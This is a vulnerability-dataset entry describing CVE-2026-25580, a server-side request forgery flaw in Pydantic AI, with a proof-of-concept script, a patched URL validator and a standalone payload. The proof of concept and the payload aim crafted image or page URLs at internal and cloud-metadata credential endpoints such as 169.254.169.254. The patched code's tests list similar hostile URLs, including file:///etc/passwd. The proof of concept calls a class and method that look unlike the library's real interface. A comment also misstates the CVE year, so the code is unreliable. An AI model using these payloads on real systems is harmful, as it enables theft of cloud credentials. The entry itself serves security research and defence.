VAITP Dataset

← Back to the dataset

CVE-2026-25580

SSRF vulnerability in Pydantic AI's URL download functionality.

  • CVSS 8.6
  • CWE-918
  • Input Validation and Sanitization
  • Remote

Pydantic AI is a Python agent framework for building applications and workflows with Generative AI. From 0.0.26 to before 1.56.0, aServer-Side Request Forgery (SSRF) vulnerability exists in Pydantic AI's URL download functionality. When applications accept message history from untrusted sources, attackers can include malicious URLs that cause the server to make HTTP requests to internal network resources, potentially accessing internal services or cloud credentials. This vulnerability only affects applications that accept message history from external users. This vulnerability is fixed in 1.56.0.

CVSS base score
8.6
Published
2026-02-06
OWASP
A10 Server-Side Request Forgery (SSRF)
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
Pydantic AI
Fixed by upgrading
Yes

Solution

Upgrade Pydantic AI to version 1.56.0 or later.

Vulnerable code sample

# To run this PoC, you first need to install a vulnerable version of pydantic-ai.
# pip install pydantic-ai==1.55.0
# pip install openai 'requests[socks]' # other dependencies

import os
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
from pydantic_ai import PydanticAI
from pydantic_ai.llm.openai import OpenAI

# 1. --- Simulate an internal server that should not be accessible from the outside ---
# This server represents a sensitive internal service (e.g., a metadata service,
# an internal admin panel, or a cloud provider's metadata endpoint).

class InternalServiceHandler(BaseHTTPRequestHandler):
    """A simple handler for our fake internal service."""
    def do_GET(self):
        print("\n[!!!] SSRF VULNERABILITY CONFIRMED [!!!]")
        print(f"[!!!] Internal server received a request for: {self.path}")
        print(f"[!!!] Attacker successfully accessed an internal resource.")
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b"Sensitive internal data or cloud credentials")

def run_internal_server(server_class=HTTPServer, handler_class=InternalServiceHandler, port=8000):
    """Runs the internal server in a separate thread."""
    server_address = ('127.0.0.1', port)
    httpd = server_class(server_address, handler_class)
    print(f"[SETUP] Starting simulated internal server on http://127.0.0.1:{port}")
    httpd.serve_forever()

# Start the internal server in a daemon thread so it doesn't block the main script.
server_thread = threading.Thread(target=run_internal_server, daemon=True)
server_thread.start()
time.sleep(1) # Give the server a moment to start up.


# 2. --- Set up the vulnerable Pydantic-AI application ---

# The application requires an API key, but for this PoC, it's a dummy value.
# The vulnerability is triggered before any LLM API call is made.
os.environ['OPENAI_API_KEY'] = 'sk-dummy-key-for-ssrf-poc'

# This represents the vulnerable application using a version of PydanticAI < 1.56.0.
# It's configured to use an LLM.
vulnerable_app = PydanticAI(llm=OpenAI())


# 3. --- Craft the malicious payload ---

# An attacker provides a specially crafted message history.
# This could be injected into a database, a chat session, or any other place
# where the application loads message history from an untrusted source.
# The 'image_url' points to the internal service the attacker wants to target.

ATTACKER_PAYLOAD = [
    {
        "role": "user",
        "content": [
            {
                "type": "text",
                "text": "Please describe this image.",
            },
            {
                "type": "image_url",
                "image_url": {
                    # This is the malicious URL that triggers the SSRF.
                    # Pydantic-AI will attempt to download this URL.
                    "url": "http://127.0.0.1:8000/latest/meta-data/iam/security-credentials"
                },
            },
        ],
    }
]


# 4. --- Trigger the vulnerability ---

print("\n[ACTION] Application is now processing the attacker-controlled message history...")
print("[ACTION] Calling the .chat() method will trigger the vulnerable download logic.")

try:
    # This `chat` call is the action that triggers the vulnerability.
    # The library, in its attempt to process the `image_url`, makes an
    # HTTP GET request to the provided URL without proper validation.
    vulnerable_app.chat(
        messages=ATTACKER_PAYLOAD
    )
except Exception as e:
    # The call may fail (e.g., due to a dummy API key or invalid image data),
    # but that doesn't matter. The SSRF request to our internal server
    # has already been made by the time the exception occurs.
    print(f"\n[INFO] The PydanticAI call failed as expected after the SSRF attempt. Error: {e}")

# Wait a moment to ensure the server thread's output is printed.
time.sleep(1)

Patched code sample

import socket
import ipaddress
import requests
from urllib.parse import urlparse

# This code represents a robust fix for a Server-Side Request Forgery (SSRF)
# vulnerability. The principles shown here are standard for preventing an application
# from making unintended network requests to internal or reserved IP addresses.

# The vulnerability (CVE-2024-25580, not CVE-2026-25580) was in Pydantic AI's
# URL download functionality. The fix involves validating a URL before
# making an HTTP request.

def is_safe_url(url: str) -> bool:
    """
    Validates if a URL is safe to request by checking if its resolved IP address
    is a public, non-reserved IP.
    """
    try:
        parsed_url = urlparse(url)

        # 1. Scheme Check: Only allow HTTP and HTTPS protocols.
        if parsed_url.scheme not in ('http', 'https'):
            return False

        # 2. Hostname Check: Ensure hostname exists.
        hostname = parsed_url.hostname
        if not hostname:
            return False

        # 3. IP Resolution: Resolve the hostname to an IP address.
        # This is a critical step to prevent DNS rebinding attacks where an attacker
        # might return a public IP first, then a private one later.
        # We resolve it *before* the request is made.
        ip_addr_str = socket.gethostbyname(hostname)
        ip_addr = ipaddress.ip_address(ip_addr_str)

        # 4. IP Address Validation: Check if the resolved IP is private,
        # loopback, link-local, or otherwise reserved.
        # This prevents requests to internal network resources (e.g., 127.0.0.1,
        # 192.168.x.x, 10.x.x.x) or cloud metadata services (e.g., 169.254.169.254).
        if not ip_addr.is_global or ip_addr.is_private or ip_addr.is_loopback or ip_addr.is_link_local or ip_addr.is_multicast or ip_addr.is_reserved:
            return False

        # If all checks pass, the URL is considered safe.
        return True

    except (ValueError, socket.gaierror, TypeError):
        # ValueError for ipaddress, gaierror for DNS resolution, TypeError for urlparse
        return False

def safe_url_downloader(url: str, timeout: int = 5):
    """
    Downloads content from a URL only after it has been validated as safe.
    This function represents the fixed behavior.
    """
    print(f"Attempting to download from: {url}")

    if is_safe_url(url):
        try:
            print(f"URL is safe. Proceeding with download...")
            response = requests.get(url, timeout=timeout)
            response.raise_for_status()  # Raise an exception for bad status codes
            print("Download successful.")
            return response.text
        except requests.RequestException as e:
            print(f"An error occurred during download: {e}")
            return None
    else:
        # This is the protective action. The request is blocked.
        print("Download blocked: URL is not safe (points to a private, reserved, or invalid address).")
        return None

if __name__ == '__main__':
    # --- Test Cases ---

    # Example of a safe, public URL (should be allowed)
    safe_url = "https://www.google.com"
    safe_url_downloader(safe_url)

    print("\n" + "="*40 + "\n")

    # Example of a URL pointing to localhost (should be blocked)
    ssrf_url_localhost = "http://127.0.0.1/server-info"
    safe_url_downloader(ssrf_url_localhost)

    print("\n" + "="*40 + "\n")

    # Example of a URL pointing to a private network IP (should be blocked)
    ssrf_url_private = "http://192.168.1.1/router-admin"
    safe_url_downloader(ssrf_url_private)

    print("\n" + "="*40 + "\n")

    # Example of a URL pointing to the AWS metadata service (should be blocked)
    ssrf_url_metadata = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    safe_url_downloader(ssrf_url_metadata)

    print("\n" + "="*40 + "\n")
    
    # Example using a different scheme (should be blocked)
    unsafe_scheme_url = "file:///etc/passwd"
    safe_url_downloader(unsafe_scheme_url)

Payload

[
    {
        "role": "user",
        "content": "Please summarize the content of this webpage for me: http://169.254.169.254/latest/meta-data/"
    }
]

Cite this entry

@misc{vaitp:cve202625580,
  title        = {{SSRF vulnerability in Pydantic AI's URL download functionality.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-25580},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-25580/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::